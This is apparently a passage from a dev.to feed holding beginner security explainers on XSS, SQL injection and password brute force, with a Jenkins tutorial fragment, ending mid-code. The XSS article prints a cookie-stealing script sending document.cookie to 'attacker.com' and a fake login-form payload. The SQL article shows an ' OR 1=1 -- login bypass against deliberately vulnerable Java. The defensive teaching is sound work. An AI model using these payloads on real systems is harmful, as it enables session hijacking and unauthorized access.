&lt;li&gt;Coverage reports&lt;/li&gt;
&lt;li&gt;Docker images&lt;/li&gt;
&lt;li&gt;Deployment packages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The concept remains identical.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Most Important Lesson
&lt;/h2&gt;

&lt;p&gt;💡 Key Takeaway&lt;/p&gt;

&lt;p&gt;Jenkins does not compile Java, build Docker images, or deploy applications itself.&lt;/p&gt;

&lt;p&gt;Jenkins is an automation server that orchestrates external tools and commands.&lt;/p&gt;

&lt;p&gt;Understanding this distinction is one of the most important concepts in DevOps and CI/CD.&lt;/p&gt;

&lt;p&gt;When Jenkins executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;it is simply asking the operating system to run the Java compiler.&lt;/p&gt;

&lt;p&gt;Likewise:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'docker build .'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;asks Docker to build an image.&lt;/p&gt;

&lt;p&gt;Jenkins orchestrates tools—it does not replace them.&lt;/p&gt;

&lt;p&gt;Understanding this distinction is fundamental to learning DevOps and CI/CD.&lt;/p&gt;




&lt;h2&gt;
  
  
  Future Enhancements
&lt;/h2&gt;

&lt;p&gt;Once comfortable with this example, you can gradually introduce:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Git integration&lt;/li&gt;
&lt;li&gt;Automatic build triggers&lt;/li&gt;
&lt;li&gt;Maven builds&lt;/li&gt;
&lt;li&gt;Unit testing&lt;/li&gt;
&lt;li&gt;Docker integration&lt;/li&gt;
&lt;li&gt;Tomcat deployment&lt;/li&gt;
&lt;li&gt;Kubernetes deployment&lt;/li&gt;
&lt;li&gt;Full CI/CD automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core Jenkins concepts remain exactly the same.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Many engineers first encounter Jenkins through large enterprise pipelines that can feel intimidating.&lt;/p&gt;

&lt;p&gt;Starting with a tiny project makes the learning process much easier.&lt;/p&gt;

&lt;p&gt;A simple Java application is enough to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pipeline stages&lt;/li&gt;
&lt;li&gt;Build execution&lt;/li&gt;
&lt;li&gt;Artifacts&lt;/li&gt;
&lt;li&gt;Workspaces&lt;/li&gt;
&lt;li&gt;Automation flow&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once these fundamentals become clear, moving toward Docker, Kubernetes, and enterprise CI/CD becomes much more natural.&lt;/p&gt;

&lt;p&gt;Sometimes the best way to understand a large system is to begin with the smallest possible working example.&lt;/p&gt;

&lt;p&gt;If you're new to Jenkins, try building this example yourself before moving on to Maven, Docker, or Kubernetes. The concepts learned here will transfer directly to larger CI/CD pipelines.&lt;/p&gt;

</description>
      <category>jenkins</category>
      <category>devops</category>
      <category>cicd</category>
      <category>java</category>
    </item>
    <item>
      <title>XSS Explained: How Attackers Execute JavaScript Inside Your Application</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Tue, 05 May 2026 22:30:33 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/xss-explained-how-attackers-execute-javascript-inside-your-application-5fc6</link>
      <guid>https://dev.to/sanjayghosh/xss-explained-how-attackers-execute-javascript-inside-your-application-5fc6</guid>
      <description>&lt;h3&gt;
  
  
  Hook
&lt;/h3&gt;

&lt;p&gt;What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?&lt;br&gt;
That’s exactly what Cross-Site Scripting (XSS) enables.&lt;/p&gt;

&lt;p&gt;Let’s break down how this actually happens in real applications.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is XSS?
&lt;/h3&gt;

&lt;p&gt;The flow of a typical XSS attack is illustrated above.&lt;/p&gt;

&lt;p&gt;Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.&lt;br&gt;
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.&lt;/p&gt;

&lt;p&gt;This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.&lt;/p&gt;

&lt;h3&gt;
  
  
  Types of XSS
&lt;/h3&gt;

&lt;p&gt;✔ Stored XSS&lt;br&gt;
Attacker submits malicious input.&lt;br&gt;
Application stores it in database.&lt;br&gt;
Every user who loads the page executes it.&lt;/p&gt;

&lt;p&gt;Example scenario:&lt;br&gt;
Comment section&lt;br&gt;
✔ Reflected XSS&lt;br&gt;
Input comes from request (URL/form)&lt;br&gt;
Reflected immediately&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
Search page&lt;br&gt;
✔ DOM-based XSS &lt;br&gt;
No server involvement.&lt;br&gt;
Client-side JavaScript inserts attacker-controlled data into DOM.&lt;br&gt;
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practical Example
&lt;/h3&gt;

&lt;p&gt;❌ Vulnerable Example (Java/JSP)&lt;br&gt;
&lt;code&gt;String comment = request.getParameter("comment");&lt;br&gt;
saveComment(comment);&lt;/code&gt;&lt;br&gt;
Later Rendered:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;%= comment %&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;br&gt;
The application assumes the comment is harmless text.&lt;br&gt;
But the browser has no way to know that.&lt;/p&gt;

&lt;p&gt;💥 Attack Input&lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
When rendered:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Browser executes it.&lt;br&gt;
The browser has no way to distinguish between legitimate code and attacker-injected code.&lt;br&gt;
Instead of displaying text, the browser executes JavaScript.&lt;/p&gt;

&lt;h3&gt;
  
  
  Escalate Attack (Attacker Mindset)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Cookie Theft Example
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;br&gt;
fetch("https://attacker.com/steal?cookie=" + document.cookie);&lt;br&gt;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
This sends victim session cookies to attacker.&lt;br&gt;
If session cookies are not protected, attacker may hijack active sessions.&lt;br&gt;
This works because browsers automatically include cookies with requests to the same domain.&lt;/p&gt;

&lt;h4&gt;
  
  
  Fake Login Form
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;br&gt;
document.body.innerHTML =&lt;br&gt;
'&amp;lt;h2&amp;gt;Session Expired&amp;lt;/h2&amp;gt;&amp;lt;input placeholder="Password"&amp;gt;';&lt;br&gt;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
Attacker replaces page content with fake UI.&lt;br&gt;
Users unknowingly enter credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Real Impact
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Session hijacking
&lt;/h4&gt;

&lt;p&gt;Attacker steals authenticated session.&lt;/p&gt;

&lt;h4&gt;
  
  
  Account takeover
&lt;/h4&gt;

&lt;p&gt;Victim account accessed without password.&lt;/p&gt;

&lt;h3&gt;
  
  
  Data theft
&lt;/h3&gt;

&lt;p&gt;Sensitive page data can be extracted.&lt;/p&gt;

&lt;p&gt;Phishing inside app&lt;br&gt;
This is especially dangerous because users trust your domain.&lt;br&gt;
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.&lt;/p&gt;

&lt;p&gt;The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to Prevent XSS
&lt;/h3&gt;

&lt;h4&gt;
  
  
  ✅ Output Encoding
&lt;/h4&gt;

&lt;p&gt;Escape special characters&lt;br&gt;
Convert &amp;lt; →&amp;amp;lt;&lt;br&gt;
👉 Key idea:&lt;br&gt;
Treat user input as data, not HTML&lt;br&gt;
Unsafe:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;%= userInput %&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Safe:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;c:out value="${userInput}" /&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Special characters become text:&lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; becomes visible text instead of executable code.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Browser Sees (Source Code)&lt;/th&gt;
&lt;th&gt;Browser Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;c:out&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;lt;script&amp;amp;gt;evil()&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Displays literal text on screen.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;%= %&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script&amp;gt;evil()&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes the script immediately.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  ✅ Framework Protection
&lt;/h4&gt;

&lt;p&gt;Modern frameworks escape by default.&lt;br&gt;
React (safe)&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;{userInput}&amp;lt;/div&amp;gt;&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Dangerous&lt;br&gt;
&lt;code&gt;&amp;lt;div dangerouslySetInnerHTML={{ __html: userInput }} /&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.&lt;/p&gt;

&lt;p&gt;When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM&lt;/p&gt;

&lt;p&gt;✅ ####Content Security Policy&lt;br&gt;
Restrict script execution&lt;br&gt;
&lt;code&gt;Content-Security-Policy: default-src 'self'; script-src 'self';&lt;/code&gt;&lt;br&gt;
Even if script injection happens, browser blocks unauthorized script execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Mistakes
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Trusting user input
&lt;/h4&gt;

&lt;p&gt;Never assume users behave correctly.&lt;/p&gt;

&lt;h4&gt;
  
  
  Using innerHTML
&lt;/h4&gt;

&lt;p&gt;Unsafe:&lt;br&gt;
&lt;code&gt;element.innerHTML = userInput;&lt;/code&gt;&lt;br&gt;
Safe:&lt;br&gt;
&lt;code&gt;element.textContent = userInput;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Disabling escaping
&lt;/h4&gt;

&lt;p&gt;Framework protections exist for a reason.&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Think like an attacker:
&lt;/h4&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can I inject script here?&lt;/li&gt;
&lt;li&gt;Will the browser execute it?&lt;/li&gt;
&lt;li&gt;Can I steal trust from this page?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.&lt;/p&gt;

&lt;p&gt;If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.&lt;/p&gt;

&lt;p&gt;In XSS, the attacker doesn’t break your system — they use it against your users.&lt;/p&gt;

&lt;p&gt;Always treat user input as data — never as code.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>websecurity</category>
      <category>javascript</category>
      <category>xss</category>
    </item>
    <item>
      <title>SQL Injection Explained: How Hackers Bypass Login Forms (and How to Stop Them)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sat, 25 Apr 2026 03:46:21 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/sql-injection-explained-how-hackers-bypass-login-forms-and-how-to-stop-them-1gll</link>
      <guid>https://dev.to/sanjayghosh/sql-injection-explained-how-hackers-bypass-login-forms-and-how-to-stop-them-1gll</guid>
      <description>&lt;p&gt;Even today, a single poorly written SQL query can allow an attacker to bypass authentication or expose sensitive data.&lt;/p&gt;

&lt;p&gt;And the scary part? It often comes down to just one line of code.&lt;/p&gt;

&lt;p&gt;In the previous articles, we saw how small implementation decisions can introduce serious vulnerabilities. SQL Injection is one of the clearest examples of this—simple to understand, yet still widely exploited.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is SQL Injection?
&lt;/h3&gt;

&lt;p&gt;SQL Injection occurs when &lt;strong&gt;untrusted user input is included directly in a SQL query&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of being treated as data, the input is interpreted as part of the SQL command itself. This allows attackers to manipulate queries and control how the database behaves.&lt;/p&gt;

&lt;h3&gt;
  
  
  How SQL Injection Works
&lt;/h3&gt;

&lt;p&gt;Consider a typical login query:&lt;br&gt;
&lt;code&gt;SELECT * FROM users &lt;br&gt;
WHERE username = 'input' AND password = 'input';&lt;/code&gt;&lt;br&gt;
The application expects input to be normal user data.&lt;/p&gt;

&lt;p&gt;But what if an attacker provides this instead?&lt;br&gt;
&lt;code&gt;' OR 1=1 --&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OR 1=1 → always true&lt;/li&gt;
&lt;li&gt;-- → comments out the rest of the query
👉 The database ends up executing a modified query that ignores authentication checks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  A Simple Login Bypass Example (Java)
&lt;/h4&gt;

&lt;p&gt;Let’s look at how this vulnerability often appears in real code.&lt;/p&gt;

&lt;h4&gt;
  
  
  ❌ Vulnerable Implementation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = '"&lt;/span&gt; 
             &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"' AND password = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Statement&lt;/span&gt; &lt;span class="n"&gt;stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createStatement&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  ⚠️ What’s the problem?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;User input is directly concatenated into the SQL query&lt;/li&gt;
&lt;li&gt;No separation between &lt;strong&gt;code&lt;/strong&gt; and &lt;strong&gt;data&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;The database cannot distinguish between intended query logic and attacker input&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  💥 Attack Input
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;username: admin&lt;br&gt;
password: ' OR 1=1 --&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  💣 Resulting Query
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;SELECT * FROM users &lt;br&gt;
WHERE username = 'admin' AND password = '' OR 1=1 --'&lt;/code&gt;&lt;br&gt;
👉 The condition OR 1=1 is always true, so the query returns results regardless of the password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;: Authentication is bypassed.&lt;/p&gt;

&lt;h4&gt;
  
  
  Real-World Impact
&lt;/h4&gt;

&lt;p&gt;SQL Injection is not just theoretical—it can lead to serious consequences:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unauthorized login (authentication bypass)&lt;/li&gt;
&lt;li&gt;Exposure of sensitive data&lt;/li&gt;
&lt;li&gt;Modification or deletion of database records&lt;/li&gt;
&lt;li&gt;Full database compromise&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  How to Prevent SQL Injection
&lt;/h4&gt;

&lt;p&gt;Preventing SQL Injection is straightforward—but only if done correctly.&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ 1. Use Prepared Statements (Java)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = ? AND password = ?"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;pstmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pstmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pstmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pstmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Why this works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Query structure is fixed&lt;/li&gt;
&lt;li&gt;User input is treated strictly as data, not executable SQL&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ✅ 2. Use ORM Frameworks (JPA / Hibernate)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;userRepository&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;findByUsernameAndPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 ORMs generate parameterized queries internally, which helps reduce the risk of SQL injection when used correctly.&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ 3. Input Validation (Defense-in-Depth)
&lt;/h4&gt;

&lt;p&gt;Limit input length&lt;br&gt;
Restrict allowed characters&lt;/p&gt;

&lt;p&gt;⚠️ Important: Input validation alone is not sufficient to prevent SQL Injection.&lt;br&gt;
Most SQL injection vulnerabilities don’t happen because developers don’t know about them — they happen because of small shortcuts taken under time pressure.&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ 4. Principle of Least Privilege
&lt;/h4&gt;

&lt;p&gt;Database users should have only the permissions they need&lt;br&gt;
Avoid using admin/root credentials for application access&lt;/p&gt;

&lt;h4&gt;
  
  
  Common Mistakes to Avoid
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Relying only on input validation&lt;/li&gt;
&lt;li&gt;Manually escaping strings instead of using parameterized queries&lt;/li&gt;
&lt;li&gt;Trusting frontend validation&lt;/li&gt;
&lt;li&gt;Logging raw queries with sensitive data&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Final Thoughts
&lt;/h4&gt;

&lt;p&gt;SQL Injection isn’t a complex attack—it’s usually the result of a simple coding mistake.&lt;/p&gt;

&lt;p&gt;But its impact can be severe.&lt;/p&gt;

&lt;p&gt;As a developer, the takeaway is clear:&lt;br&gt;
👉 Never trust user input&lt;br&gt;
👉 Always separate data from code&lt;/p&gt;

&lt;p&gt;Small decisions in how you write queries can determine whether your application is secure—or completely exposed.&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>sql</category>
    </item>
    <item>
      <title>Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 19 Apr 2026 18:54:23 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/authentication-security-deep-dive-from-brute-force-to-salted-hashing-with-java-examples-mc8</link>
      <guid>https://dev.to/sanjayghosh/authentication-security-deep-dive-from-brute-force-to-salted-hashing-with-java-examples-mc8</guid>
      <description>&lt;p&gt;What if I told you that even if you hash passwords, an attacker might still crack them in seconds?&lt;/p&gt;

&lt;p&gt;Authentication is one of the most critical parts of any application—and also one of the most misunderstood.&lt;/p&gt;

&lt;p&gt;In this post, we’ll think like an attacker, break insecure implementations using Java examples, and then progressively strengthen our defenses using &lt;strong&gt;hashing and salting&lt;/strong&gt;.&lt;br&gt;
If you’ve ever stored a password using only hashing, your system may still be vulnerable.&lt;/p&gt;
&lt;h3&gt;
  
  
  🧠 1. Why Authentication Security Matters
&lt;/h3&gt;

&lt;p&gt;When authentication fails, everything fails:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Account takeover&lt;/li&gt;
&lt;li&gt;Data breaches&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To build secure systems, we must first understand how attackers operate.&lt;/p&gt;
&lt;h3&gt;
  
  
  ⚔️ 2. How Attackers Break Authentication
&lt;/h3&gt;
&lt;h4&gt;
  
  
  (i). Brute Force Attack
&lt;/h4&gt;

&lt;p&gt;Attacker tries all possible passwords until one works.&lt;br&gt;
👉 Works because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Users choose weak passwords&lt;/li&gt;
&lt;li&gt;Systems don’t limit attempts&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  (ii). Dictionary Attack
&lt;/h4&gt;

&lt;p&gt;Instead of all combinations, attacker uses a list of common passwords:&lt;br&gt;
&lt;code&gt;123456&lt;br&gt;
password&lt;br&gt;
admin&lt;br&gt;
welcome123&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  (iii). Rainbow Table Attack
&lt;/h4&gt;

&lt;p&gt;Attacker precomputes hashes:&lt;br&gt;
&lt;code&gt;password → hash1&lt;br&gt;
admin    → hash2&lt;/code&gt;&lt;br&gt;
Then instantly matches stolen hashes.&lt;br&gt;
👉 Extremely fast if no salt is used&lt;/p&gt;
&lt;h4&gt;
  
  
  (iv). Session Attacks (brief)
&lt;/h4&gt;

&lt;p&gt;Focus on hijacking authenticated sessions (cookies, tokens).&lt;br&gt;
👉 Important, but outside this blog’s main focus.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔴 3. Thinking Like an Attacker: Breaking Weak Authentication
&lt;/h3&gt;
&lt;h4&gt;
  
  
  3.1 Brute Force Simulation (Java)
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BruteForceDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;actualPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"1234"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%04d"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

